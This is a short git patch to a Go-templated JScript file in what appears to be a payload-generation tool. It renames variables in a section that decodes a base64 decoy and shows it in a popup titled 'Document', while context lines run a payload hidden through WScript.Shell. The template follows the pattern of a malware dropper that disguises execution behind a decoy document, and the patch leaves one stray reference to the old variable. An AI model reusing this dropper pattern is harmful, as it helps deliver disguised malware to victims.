From 05a79976af3a46f888388925ff045c39cc13d767 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Johannes=20B=C3=BClow?= Date: Thu, 10 Aug 2023 22:00:25 +0200 Subject: [PATCH] refractored JScript template slightly --- cmd/jscript.gojs | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/cmd/jscript.gojs b/cmd/jscript.gojs index fda1d13..b6f0d28 100644 --- a/cmd/jscript.gojs +++ b/cmd/jscript.gojs @@ -9,13 +9,13 @@ var shell = new ActiveXObject("WScript.Shell"); shell.Run(bytes, 0, false); {{if len .EncodedDecoy}} -var stream2 = new ActiveXObject("ADODB.Stream"); -stream.Type = 1; +var s2 = new ActiveXObject("ADODB.Stream"); +s2.Type = 1; -stream.Write(window.atob({{.EncodedDecoy}})); +s2.Write(window.atob({{.EncodedDecoy}})); -var bytes = stream.Read(); -shell.Popup(bytes, 0, "Document", 0x40); +var b2 = stream.Read(); +shell.Popup(b2, 0, "Document", 0x40); {{end}}